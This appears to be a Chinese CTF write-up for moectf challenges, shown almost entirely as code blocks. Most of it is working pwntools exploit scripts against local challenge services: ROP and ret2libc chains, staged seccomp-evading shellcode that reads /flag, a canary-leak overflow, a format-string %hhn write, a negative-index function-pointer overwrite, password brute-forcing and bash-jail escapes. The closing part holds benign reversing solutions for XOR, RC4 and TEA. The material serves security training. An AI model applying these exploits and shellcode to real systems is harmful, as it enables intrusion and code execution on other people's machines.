1
2

# 查找单纯 ret; 指令
ROPgadget --binary ./pwn --only "ret"

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

from pwn import *
context(os="linux", arch="amd64", log_level="debug")
io = remote("127.0.0.1", 9710)

ret      = 0x000000000040101a   # vuln 结尾的 ret gadget，用于栈对齐
backdoor = 0x401209   # system("/bin/sh")
offset   = 72         # buf(rbp-0x40, 64B) + saved rbp(8B)

io.recvuntil(b"So how many do you want to give?")
io.sendline(b"100")   # scanf 的 nbytes，要 > 72

io.recvuntil(b"Now plz give it to me")
payload = b"A" * offset + p64(ret) + p64(backdoor)
io.send(payload)
io.interactive()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

from pwn import *
context(os="linux", arch="amd64", log_level="debug")
io = remote("127.0.0.1", 2538)

libc = ELF("libc.so.6")
puts_off  = libc.symbols["puts"]      # 0x84420
system_off = libc.symbols["system"]   # 0x52290
binsh_off  = next(libc.search(b"/bin/sh"))  # 0x1b45bd
rop = ROP(libc)
pop_rdi_ret = rop.find_gadget(["pop rdi", "ret"]).address  # 0x23b6a
ret_gadget  = rop.find_gadget(["ret"]).address # 0x22679

# 答对 C 填空，拿 puts 泄漏
io.recvuntil(b"Your answer:")
io.recvline()        # 吃掉提示符后的 '\n'
io.sendline(b"puts")
line = io.recvline()    # 'This function seems to be unsafe,right? 0x...'
leak = int(line.strip().split()[-1], 16)
libc_base = leak - puts_off
log.success(f"puts @ {hex(leak)}  libc base @ {hex(libc_base)}")

# vuln 栈溢出 -> 纯 libc ret2libc
io.recvuntil(b"Now show me your real pwn skill:")
offset = 72        # buf(rbp-0x40, 64B) + saved rbp(8B)
payload = b"A" * offset
payload += p64(libc_base + ret_gadget)  # 对齐
payload += p64(libc_base + pop_rdi_ret)
payload += p64(libc_base + binsh_off)
payload += p64(libc_base + system_off)
io.send(payload)

io.sendline(b"cat flag")
print(io.recvrepeat(1).decode(errors="replace"))
io.interactive()

1
2
3

from pwn import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')
payload = asm(shellcraft.sh())

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

# stage1: read(0, buf+0x40, 0x200) 然后 jmp 到 buf+0x40 (fd=0 必须显式设置)
stage1 = asm("""
    mov r8, rdi
    xor edi, edi
    lea rsi, [r8+0x40]
    xor edx, edx
    mov dh, 2
    xor eax, eax
    syscall
    lea rax, [r8+0x40]
    jmp rax
""")

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22

# stage2: openat("/flag") -> read -> write(1). No badchar limit, runs under seccomp
stage2 = asm("""
    xor eax, eax
    push rax
    mov rax, 0x67616c662f
    push rax
    mov rsi, rsp
    mov edi, 0xffffff9c
    xor edx, edx
    mov eax, 0x101
    syscall
    mov rdi, rax
    mov rsi, rsp
    mov edx, 0x30
    xor eax, eax
    syscall
    mov edx, eax
    mov edi, 1
    mov rsi, rsp
    mov eax, 1
    syscall
""")

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49

from pwn import *
context(os="linux", arch="amd64", log_level="debug")
io = remote("127.0.0.1", 7527)

# stage1: read(0, buf+0x40, 0x200) 然后 jmp 到 buf+0x40 (fd=0 必须显式设置)
stage1 = asm("""
    mov r8, rdi
    xor edi, edi
    lea rsi, [r8+0x40]
    xor edx, edx
    mov dh, 2
    xor eax, eax
    syscall
    lea rax, [r8+0x40]
    jmp rax
""")

# stage2: openat("/flag") -> read -> write(1). No badchar limit, runs under seccomp
stage2 = asm("""
    xor eax, eax
    push rax
    mov rax, 0x67616c662f
    push rax
    mov rsi, rsp
    mov edi, 0xffffff9c
    xor edx, edx
    mov eax, 0x101
    syscall
    mov rdi, rax
    mov rsi, rsp
    mov edx, 0x30
    xor eax, eax
    syscall
    mov edx, eax
    mov edi, 1
    mov rsi, rsp
    mov eax, 1
    syscall
""")

assert len(stage1) <= 40, len(stage1)
bad = b"\x00\x0a\x20\x2f\x66\x6c\x61\x67"
assert not any(c in bad for c in stage1)

io.recvuntil(b"seccomp: read/write/openat/exit only")
io.send(p32(len(stage1)) + stage1)
io.recvuntil(b"stage1 accepted")
io.send(stage2)
io.interactive()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

from pwn import *
context(os="linux", arch="amd64", log_level="debug")
io = remote("127.0.0.1", 9554)

repair_complete = 0x40182a
payload = b"\x00" + b"A" * 63 + p64(repair_complete)
assert len(payload) == 0x48

io.recvuntil(b"Enter repair ciphertext:")
io.send(bytes([0x48]) + payload)
io.interactive()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13

from pwn import *
context(os="linux", arch="amd64", log_level="debug")
io = remote("127.0.0.1", 9084)

io.recvuntil(b"> ")
io.sendline(b"1")
io.recvuntil(b"How many wishes do you want?")
io.sendline(b"-1")
io.recvuntil(b"> ")
io.sendline(b"3")

io.recvuntil(b"Your endless wishes come true!")
io.sendline(b"cat flag")

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14

int main() {
    init();                                   // 三个 setbuf(stdin/stdout/stderr, 0)
    puts("Do you want to know srand's secret?");
    ...
    v3 = gate1();                             // 返回 seed（time(0)）
    v5 = gate2(v3);                           // 返回 lcg^114514(seed)
    gate3(v5);                                // 用 ans2 作种子
    puts("All gates passed!");
    b4ckdo0r();                               // system("/bin/sh")
}

int b4ckdo0r() { return system("/bin/sh"); }

__int64 lcg(int a1) { return (1103515245 * a1 + 12345) & 0x7FFFFFFF; }

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

def glibc_random(seed):
    if seed == 0:
        seed = 1
    state = [0] * 31
    state[0] = seed
    word = seed
    for i in range(1, 31):
        hi = word // 127773
        lo = word % 127773
        word = 16807 * lo - 2836 * hi
        if word < 0:
            word += 2147483647
        state[i] = word
    fptr, rptr = 3, 0
    def step():
        nonlocal fptr, rptr
        val = (state[fptr] + state[rptr]) & 0xFFFFFFFF
        res = val >> 1
        state[fptr] = val
        fptr += 1
        if fptr >= 31:
            fptr = 0; rptr += 1
        else:
            rptr += 1
            if rptr >= 31:
                rptr = 0
        return res
    for _ in range(310):
        step()
    return step

1
2
3
4

s.sendall(b'%d\n' % r3)
data4 = recv_until(s, b'bonus')     # 读到 "Here is your bonus:"
if b'Wow' not in data4:             # "Wow, random number ..." 表示 gate3 通过
    ...

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122

import socket
import time

HOST = '127.0.0.1'
PORT = 11353


def lcg(x):
    return (1103515245 * x + 12345) & 0x7FFFFFFF


def glibc_random(seed):
    if seed == 0:
        seed = 1
    state = [0] * 31
    state[0] = seed
    word = seed
    for i in range(1, 31):
        hi = word // 127773
        lo = word % 127773
        word = 16807 * lo - 2836 * hi
        if word < 0:
            word += 2147483647
        state[i] = word
    fptr, rptr = 3, 0
    def step():
        nonlocal fptr, rptr
        val = (state[fptr] + state[rptr]) & 0xFFFFFFFF
        res = val >> 1
        state[fptr] = val
        fptr += 1
        if fptr >= 31:
            fptr = 0; rptr += 1
        else:
            rptr += 1
            if rptr >= 31:
                rptr = 0
        return res
    for _ in range(310):
        step()
    return step


def solve_once(seed):
    g = glibc_random(seed)
    ans1 = g()                       # gate1

    v = seed                         # gate2: lcg 114514 次
    for _ in range(114514):
        v = lcg(v)
    ans2 = v

    g3 = glibc_random(ans2)          # gate3: 第 3 个 rand()
    r1 = g3(); r2 = g3(); r3 = g3()
    return ans1, ans2, (r1, r2, r3)


def recv_until(s, marker, timeout=10):
    s.settimeout(timeout)
    data = b''
    while marker not in data:
        try:
            chunk = s.recv(4096)
        except socket.timeout:
            break
        if not chunk:
            break
        data += chunk
    return data


def read_for(s, seconds=2):
    s.settimeout(seconds)
    data, end = b'', time.time() + seconds
    while time.time() < end:
        try:
            chunk = s.recv(4096)
        except socket.timeout:
            break
        if not chunk:
            break
        data += chunk
    return data


def attempt():
    s = socket.create_connection((HOST, PORT), timeout=10)
    recv_until(s, b'Password:')
    seed = int(time.time()) + 3      # 远程时钟比本地快约 3~4s
    ans1, ans2, (r1, r2, r3) = solve_once(seed)

    s.sendall(b'%d\n' % ans1)
    if b'beaten' not in recv_until(s, b'Password:'):
        s.close(); return None

    s.sendall(b'%d\n' % ans2)
    if b'Good job' not in recv_until(s, b'Your answer:'):
        s.close(); return None

    s.sendall(b'%d\n' % r3)
    if b'Wow' not in recv_until(s, b'bonus'):
        s.close(); return None
    return s


def main():
    for i in range(30):
        s = attempt()
        if s is None:
            print('attempt %d failed' % i)
            time.sleep(0.05)
            continue
        print('吃饱了!')
        s.sendall(b'cat /flag; cat flag; cat flag.txt; ls -la\n')
        time.sleep(1.0)
        print(read_for(s, 3).decode(errors='replace'))
        s.close()
        break


if __name__ == '__main__':
    main()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14

from pwn import *
context(os="linux", arch="amd64", log_level="debug")
io = remote("127.0.0.1", 4092)

staff_room = 0x401394
io.recvuntil(b"How many should I prepare? ")
io.sendline(b"32")
io.recvuntil(b"What would you like written, sir? ")
payload = b"A" * 120 + p64(staff_room)
payload = payload.ljust(256, b"B")
io.send(payload)

io.recvuntil(b"Very good, sir.")
io.interactive()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

setbuf(stdin, 0);
setbuf(stdout, 0);
alarm(0x78);                       // 120 秒超时

// ---------- 第一段：密码门 ----------
v8 = 0;
*(_DWORD *)s2 = arc4random();      // 4 字节随机数
v6 = 0;
*(_DWORD *)s1 = 0;
v10 = 0;
__printf_chk(2, "password: ");
if (scanf("%u", &v6) != 1) exit(0);
do { getc(stdin); } while (未到换行);   // 清掉行尾
*(_DWORD *)s1 = v6;                // 我的输入 -> 4 字节
if (strcmp(s1, s2)) { puts("wrong"); exit(0); }

// ---------- 第二段：bash jail ----------
puts("only shell builtins here.");
while (1) {
    __printf_chk(2, "$ ");
    if (!fgets(s1, 256, stdin)) break;
    s1[strcspn(s1, "\n")] = 0;
    if (s1[0]) {
        if (strpbrk(s1, "`\\(){}")) puts("bad char");
        else if (strstr(s1, "flag")) puts("bad word");
        else {
            if (fork() == 0) {
                execl("/bin/bash", "bash", "--noprofile", "--norc", "-c", s1, 0);
                _exit(1);
            }
            wait(0);
        }
    }
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84

import socket, time, threading

HOST = '127.0.0.1'
PORT = 1393

stop = threading.Event()
done = threading.Event()


def read_for(s, seconds=2):
    s.settimeout(seconds)
    data, end = b'', time.time() + seconds
    while time.time() < end:
        try:
            c = s.recv(4096)
        except socket.timeout:
            break
        if not c:
            break
        data += c
    return data


def grab_flag(s):
    cmds = [
        b'/bin/ls -la\n',
        b'/bin/cat "fl""ag"\n',
        b'/bin/cat /fla?\n',
        b'read x < fla?; echo $x\n',     # 内建命令读 flag
        b'PATH=/bin:/usr/bin; cat fla?\n',
    ]
    for cmd in cmds:
        s.sendall(cmd)
        time.sleep(0.5)
        out = read_for(s, 2)
        print('[shell] %r => %s' % (cmd, out.decode(errors='replace')))
        if b'moectf{' in out:
            return True
    return False


def worker(wid):
    while not stop.is_set():
        s = None
        try:
            s = socket.create_connection((HOST, PORT), timeout=8)
            s.settimeout(1.5)
            s.sendall(b'0\n')            # 密码固定为 0，赌 arc4random 低字节为 0
            r = b''
            end = time.time() + 2.5
            while time.time() < end:
                try:
                    c = s.recv(4096)
                except socket.timeout:
                    break
                if not c:
                    break
                r += c
                if b'builtins' in r or b'wrong' in r:
                    break
            if b'builtins' in r:
                stop.set()
                print('worker %d PASSED password: %r' % (wid, r))
                grab_flag(s)
                done.set()
                return
            s.close()
        except Exception:
            if s:
                try:
                    s.close()
                except Exception:
                    pass


def main():
    for i in range(32):
        threading.Thread(target=worker, args=(i,), daemon=True).start()
    done.wait(timeout=600)
    print('ok了' if done.is_set() else '超了')


if __name__ == '__main__':
    main()

1
2
3

void (*p_ordinary_bell)(void);  // [rbp-50h] 函数指针，初始 = ordinary_bell
_QWORD v6[8];                   // [rbp-48h] 8 个货架槽位，存「取件码」
__int64 n7;                     // [rbp-8h]

1
2
3
4

n7 = read_index();              // strtol(s, 0, 10)，可返回负数！
if (n7 <= 7) {                  // 不检查 n7 >= 0
    v6[n7] = read_pickup_code();
}

1
2
3
4
5

rbp-50h : p_ordinary_bell   (8 字节，函数指针)
rbp-48h : v6[0]             (8 字节)
rbp-40h : v6[1]
...
rbp-10h : v6[7]

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65

import socket, re, time

HOST = '127.0.0.1'
PORT = 11728
STAFF_ROOM_OFF = 0x13a8 - 0x138e   # 0x1a


def recv_until(s, marker, timeout=10):
    s.settimeout(timeout)
    data = b''
    while marker not in data:
        try:
            c = s.recv(4096)
        except socket.timeout:
            break
        if not c:
            break
        data += c
    return data


def read_for(s, seconds=2):
    s.settimeout(seconds)
    data, end = b'', time.time() + seconds
    while time.time() < end:
        try:
            c = s.recv(4096)
        except socket.timeout:
            break
        if not c:
            break
        data += c
    return data


def main():
    s = socket.create_connection((HOST, PORT), timeout=10)
    recv_until(s, b'> ')

    #泄漏 ordinary_bell
    s.sendall(b'1\n')
    data = recv_until(s, b'> ')
    leak = int(re.search(rb'duty bell handler: (0x[0-9a-fA-F]+)', data).group(1), 16)
    staff_room = leak + STAFF_ROOM_OFF

    # 负索引 -1 覆盖函数指针
    s.sendall(b'2\n')
    recv_until(s, b'Which shelf slot should be updated?')
    s.sendall(b'-1\n')
    recv_until(s, b'What pickup code should be written there?')
    s.sendall(hex(staff_room).encode() + b'\n')
    recv_until(s, b'> ')

  #摇铃 -> staff_room -> /bin/sh
    s.sendall(b'3\n')
    time.sleep(0.5)

    #最后读 flag（无 PATH，用内建）
    s.sendall(b'read x < flag; echo $x\n')
    print(read_for(s, 2).decode(errors='replace'))
    s.close()


if __name__ == '__main__':
    main()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21

int main() {
    __int64 v3;
    unsigned __int16 n0x100;          // 长度, 2 字节
    unsigned __int64 v6;              // canary

    v6 = __readfsqword(0x28u);
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
    alarm(0x1E);

    puts("=== Anniversary Lottery Admin Debug ===");
    v3 = stack_guard();               // 返回 fs:0x28 = 栈 canary
    printf("[trace] active record: %p :: 0x%016lx\n", award_jackpot, v3);
    //            ^^^^^^^^^^^^^^^^^^  ^^^^^^^^^^^^
    //            泄漏 award 地址(PIE)  泄漏 canary
    puts("[lottery] Submit a two-byte little-endian claim packet length.");
    puts("[lottery] Send claim packet:");
    read_exact(&n0x100, 2);           // 读 2 字节长度
    if (n0x100 && n0x100 <= 0x100)
        submit_claim(n0x100);
}

1
2
3
4
5
6
7
8
9

unsigned __int64 submit_claim(__int64 n0x100) {
    _QWORD p_n0x100[9];   // rbp-0x50, 72 字节缓冲区
    unsigned __int64 v3;  // rbp-0x8,  canary

    v3 = __readfsqword(0x28u);
    read_exact(p_n0x100, n0x100);   // 无边界, 最大读 0x100 字节 → 溢出
    puts("[lottery] Claim packet queued for verification.");
    return v3 - __readfsqword(0x28u);
}

1
2
3
4
5
6
7

[泄漏]  award_jackpot 地址 + canary
   ↓
[溢出]  read_exact 读入 128 字节, 覆盖到返回地址
   ↓
[劫持]  leave; ret 跳进 award_jackpot
   ↓
[输出]  open("/flag") -> read -> write(1, ...)  打印 flag

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

from pwn import *
context(os="linux", arch="amd64", log_level="debug")

AWARD_OFF = 0x1330   # award_jackpot 函数地址偏移


def exploit():
    io = remote("127.0.0.1", 10815)

    # main 用 printf 泄漏了 award_jackpot 地址(PIE 基址)和栈 canary
    io.recvuntil(b"[trace] active record: ")
    line = io.recvline().strip().decode()
    award_leak, canary_leak = line.split(" :: ")
    base = int(award_leak, 16) - AWARD_OFF
    canary = int(canary_leak, 16)

    # submit_claim 的 72 字节缓冲区无边界读: canary 在偏移 72, 返回地址在偏移 88
    payload = b"A" * 72 + p64(canary) + b"B" * 8 + p64(base + AWARD_OFF)
    payload = payload.ljust(128, b"D")

    # 长度字节就是要读入的字节数, 128 足够覆盖到返回地址
    io.recvuntil(b"[lottery] Send claim packet:")
    io.send(p16(128) + payload)
    return io


# 远程转发层偶尔丢包(数据传不完整, 程序静默退出), 所以重试直到打出 flag
for attempt in range(30):
    io = exploit()
    data = io.recvrepeat(timeout=1)
    io.close()
    if b"Jackpot" in data:
        print(data.decode(errors="replace"))
        break
    print(f"[attempt {attempt}] failed, retrying...")

1
2
3

buffer[0:12]  = "%247c%12$hhn"   # 打印 247 个字符，把 0xf7 写到 arg12 指向的地址
buffer[12:16] = "AAAA"           # 对齐填充
buffer[16:24] = p64(publish_hook)  # arg12 = 目标地址

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'

io = remote('127.0.0.1', 10506)

RET_OFF  = 0x1670   # %9$p 泄漏的 main 返回地址偏移
homepage = 0x12d8   # publish_hook 初值
director = 0x12f7   # director_channel: execve("/bin/sh","-p")
HOOK_OFF = 0x40b0   # publish_hook 偏移

def submit(payload):
    io.sendlineafter(b'> ', b'1')
    io.sendlineafter(b'How long is this campaign line?', str(len(payload)).encode())
    io.sendafter(b'Drop your campaign line here:', payload)

def preview():
    io.sendlineafter(b'> ', b'2')
    return io.recvuntil(b'> ')

submit(b'%9$p')
out = preview()
leak = int(re.search(rb'0x[0-9a-fA-F]+', out).group(0), 16)
base = leak - RET_OFF
hook = base + HOOK_OFF
log.success('leak=%#x  base=%#x  publish_hook=%#x' % (leak, base, hook))

payload = b'%247c%12$hhn' + b'AAAA' + p64(hook)
submit(payload)
preview()

io.sendlineafter(b'> ', b'3')
io.sendline(b'read x < flag; echo $x')
io.interactive()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78

; x86-64, Intel syntax
; rdi points to output buffer

start:
    lea     rdi, [buf]

    lea     rsi, [byte_404000]
    mov     ecx, 25

loc_401000:
    mov     al, byte ptr [rsi]
    mov     byte ptr [rdi], al
    inc     rsi
    inc     rdi
    loop    loc_401000

    mov     eax, 0x2a
    add     eax, 0x16
    cmp     eax, 0x40
    jne     loc_401080

    mov     ebx, 0x10
    shl     ebx, 2
    cmp     eax, ebx
    jne     loc_401080

    mov     ecx, 0x39
    sub     ecx, 0x20
    cmp     ecx, 0x18
    jg      loc_401050

    jmp     loc_401080

loc_401050:
    lea     rsi, [byte_404020]
    mov     ecx, 15

loc_401060:
    mov     al, byte ptr [rsi]
    xor     al, 0x42
    mov     byte ptr [rdi], al
    inc     rsi
    inc     rdi
    loop    loc_401060

    jmp     loc_4010b0

loc_401080:
    lea     rsi, [byte_404030]
    mov     ecx, 9

loc_401090:
    mov     al, byte ptr [rsi]
    mov     byte ptr [rdi], al
    inc     rsi
    inc     rdi
    loop    loc_401090

loc_4010b0:
    mov     byte ptr [rdi], 0
    ret


byte_404000:
    db 0x6d, 0x6f, 0x65, 0x63, 0x74, 0x66, 0x7b
    db 0x41, 0x73, 0x73, 0x65, 0x6d, 0x62, 0x31, 0x79
    db 0x5f, 0x4c, 0x34, 0x6e, 0x67, 0x75, 0x61, 0x67, 0x65, 0x5f

byte_404020:
    db 0x73, 0x11, 0x1d, 0x21, 0x2d
    db 0x72, 0x2d, 0x72, 0x0d, 0x2d
    db 0x2d, 0x2e, 0x63, 0x63, 0x3f

byte_404030:
    db 0x63, 0x6f, 0x72, 0x72, 0x65, 0x63, 0x74, 0x21, 0x7d

buf:
    db 64 dup(0)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20

start:
    lea rdi, [buf]
    lea rsi, [byte_404000]      ; ① 直接拷 25 字节明文
    mov ecx, 25                 ;    → "moectf{Assemb1y_L4nguage_"

    mov eax, 0x2a
    add eax, 0x16               ; eax = 0x40 (64)
    cmp eax, 0x40               ; 64 == 64  ✓ 不跳
    jne loc_401080

    mov ebx, 0x10
    shl ebx, 2                  ; ebx = 64
    cmp eax, ebx                ; 64 == 64  ✓ 不跳
    jne loc_401080

    mov ecx, 0x39
    sub ecx, 0x20               ; ecx = 25
    cmp ecx, 0x18               ; 25 > 24  ✓ 跳走
    jg  loc_401050              ; → 走 XOR 分支
    jmp loc_401080

1
2
3
4

byte_404000:
    db 0x6d, 0x6f, 0x65, 0x63, 0x74, 0x66, 0x7b
    db 0x41, 0x73, 0x73, 0x65, 0x6d, 0x62, 0x31, 0x79
    db 0x5f, 0x4c, 0x34, 0x6e, 0x67, 0x75, 0x61, 0x67, 0x65, 0x5f

1
2
3
4

byte_404020:
    db 0x73, 0x11, 0x1d, 0x21, 0x2d
    db 0x72, 0x2d, 0x72, 0x0d, 0x2d
    db 0x2d, 0x2e, 0x63, 0x63, 0x3f

1
2
3
4
5

xor eax, 66h          ; eax = v4[i] ^ 0x66
...
lea rax, cipher       ; cipher 数组基址 = 0x404040
cmp ecx, eax          ; 比较
jz loc_401207         ; 相等则继续，否则输出 "no"

1
2
3
4

地址       值(hex)
0x404040  0b 09 03 05 12 00 1d 24 52 15 0f 05
0x40404c  39 1e 56 14 39 05 0e 07 57 0a 03 08
0x404058  01 03 39 15 09 0a 10 03 02 47 47 1b

1
2

11 9 3 5 18 0 29 36 82 21 15 5 57 30 86 20 57 5
14 7 87 10 3 8 1 3 57 21 9 10 16 3 2 71 71 27

1

echo "109 111 101 99 116 102 123 66 52 115 105 99 95 120 48 114 95 99 104 97 49 108 101 110 103 101 95 115 111 108 118 101 100 33 33 125" | ./re

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13

int main() {
    char s[32];   // rbp-0x20
    char s_[32];  // rbp-0x40

    memset(s, 0, 0x15u);
    memset(s_, 0, 0x14u);
    printf("Input something: ");
    fgets(s, 21, stdin);  // 读入的输入 s 之后根本没被使用
    init_cipher(s_);    // 把 g_cipher 的 20 字节拷到 s_
    rc4_crypt(s_, 20, "Th1S_1s_secret~!", 16); // 对 s_ 做 RC4
    puts("Done.");
    return 0;
}

1

b2 24 24 03 e3 b4 41 62 11 f3 8a 28 a0 71 9b be 27 46 19 a9

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17

def rc4(key, data):
    S = list(range(256))
    j = 0
    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) & 0xFF
        S[i], S[j] = S[j], S[i]
    i = j = 0
    out = bytearray()
    for byte in data:
        i = (i + 1) & 0xFF
        j = (j + S[i]) & 0xFF
        S[i], S[j] = S[j], S[i]
        out.append(byte ^ S[(S[i] + S[j]) & 0xFF])
    return bytes(out)

g_cipher = bytes.fromhex("b2 24 24 03 e3 b4 41 62 11 f3 8a 28 a0 71 9b be 27 46 19 a9")
print(rc4(b"Th1S_1s_secret~!", g_cipher))

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157

#include <stdio.h>
/**
 * @brief 这是一个简短的 TEA 解密指南，依据 IDA 反编译的结果，
 *        正确填充代码中的空缺处，运行后就可以获得 flag！
 * 
 * @attention 请先移步 main 函数，阅读此题拆解！
 */

#define uint unsigned int

/**
 * @brief TEA 解密一个 64 位数据块
 *
 * @param cipher 待解密数据（2×32 bit）
 * @param key    128 位密钥（4×32 bit）
 * @param delta  常量值
 */
void tea_decrypt(uint cipher[2], uint key[4])
{
    /**
     * @brief 解密是加密的逆过程。如果我们已知最终的密文，
     *        并可以通过某种方式恢复上一轮的状态，
     *        那么一直恢复到最初状态，就可以得到明文。
     *        在此例中，加密的逻辑是这样的：
     *     -> 先将 delta 减去 1640531527（或为加上 0x9E3779B9）
     *     -> 更新 cipher[0]
     *     -> 更新 cipher[1]
     *     -> 重复以上操作，循环 32 次
     *        由于更新某一个数据时，另外两个数据和密钥的值都是固定的，
     *        于是在解密时，我们只需要：
     *     -> 反向更新 cipher[1]
     *     -> 反向更新 cipher[0]
     *     -> 将 delta 加上 1640531527（或为减去 0x9E3779B9）
     *     -> 重复以上操作，循环 32 次
     * 
     * @attention 根据 IDA 反编译展示的逻辑，修改下面代码中填 0x0 的部分。 
     */
    uint delta = -1640531527 * 32;

    for(int i = 1; i <= 32; i++)
    {
        cipher[1] -= (cipher[0] + delta) ^ (16 * cipher[0] + key[2]) ^ 0x0;
        cipher[0] -= 0x0 ^ 0x0 ^ 0x0;
        delta += 1640531527;
    }
}

/**
 * @brief XTEA 解密一个 64 位数据块
 *
 * @param cipher 待解密数据（2×32 bit）
 * @param key    128 位密钥（4×32 bit）
 * @param delta  常量值
 */
void xtea_decrypt(uint cipher[2], uint key[4])
{
    /**
     * @brief 这里的反编译可能会出现 *(_DWORD *)。
     *        不用害怕，以 (4LL * (v4 & 3) + xtea_key_address) 为例，
     *        由于 uint 的存储空间为 4 字节，乘上几个 4 就代表偏移量是几。
     * 
     * @attention 根据 IDA 反编译的结果，修改下面代码中填 0x0 的部分。
     */
    uint delta = 0x0;

    for(int i = 1; i <= 32; i++)
    {
        cipher[1] -= 0x0 ^ (key[(delta >> 11) & 3] + delta);
        delta += 0x0;
        cipher[0] -= 0x0 ^ 0x0;
    }
}

int main()
{
    /**
     * @brief 你看懂 main 函数的逻辑了吗？
     *        本题分为两个加密部分：
     *        第一，tea_encrypt 函数对 flag 前 16 字节进行加密。
     *        第二，xtea_encrypt 函数对 flag 后 16 字节进行加密。
     *        密文分别存储在 tea_cipher 和 xtea_cipher 中。
     * 
     * @attention 让我们先来解密 tea_encrypt 部分！
     *            请双击 check_tea_part 函数，找到这部分的密文以及密钥。
     */

     /**
      * @brief 密文数组由 4 个 32 位无符号整数构成。
      * 
      * @attention 双击 tea_cipher，填充以下数据！我已经帮你填好一个了。
      */
    uint cipher1[4] = {
        0xB3E7E33E,
        0x0,
        0x0,
        0x0
    };
    /**
     * @brief 密钥数组同样由 4 个 32 位无符号整数构成。
     *        双击 get_tea_key_address，再双击 tea_key，填充...
     *        等一下，我的 32 位整数呢？！实际上，呈现在你面前的 16 字节，
     *        是密钥数组在内存中原始的存储形式。按每四个字节划分，
     *        就可以得到 4 个密钥。那么，第一个密钥是 0x78563412 吗？
     *        并不是！x86-64 机器一般采用小端序存储。记住一点：
     *        低位字节存储在低地址，高位字节存储在高地址。因此，
     *        第一个密钥应该是 0x12345678。
     * 
     * @attention 完成剩下的填充！
     */
    uint key1[4] = {
        0x12345678,
        0x0,
        0x0,
        0x0
    };
    /**
     * @brief 加密算法 TEA 要求加密密钥为 128 比特，密文块分组长度为 64 比特。
     *        这里密文长度为 128 比特，因此要分为两个块分别加密。
     * 
     * @attention 请移步 tea_decrypt 函数，完成解密逻辑编写！
     */
    tea_decrypt(cipher1, key1);
    tea_decrypt(cipher1 + 2, key1);

    /**
     * @brief 祝贺你成功完成第一部分的解密！第二部分是 xtea 解密，
     *        整体思路和 tea 差不多，不过在加密流程中有些许出入。
     * 
     * @attention 填充对应密文。
     */
    uint cipher2[4] = {
        0x60EC68AB,
        0x0,
        0x0,
        0x0
    };
    /**
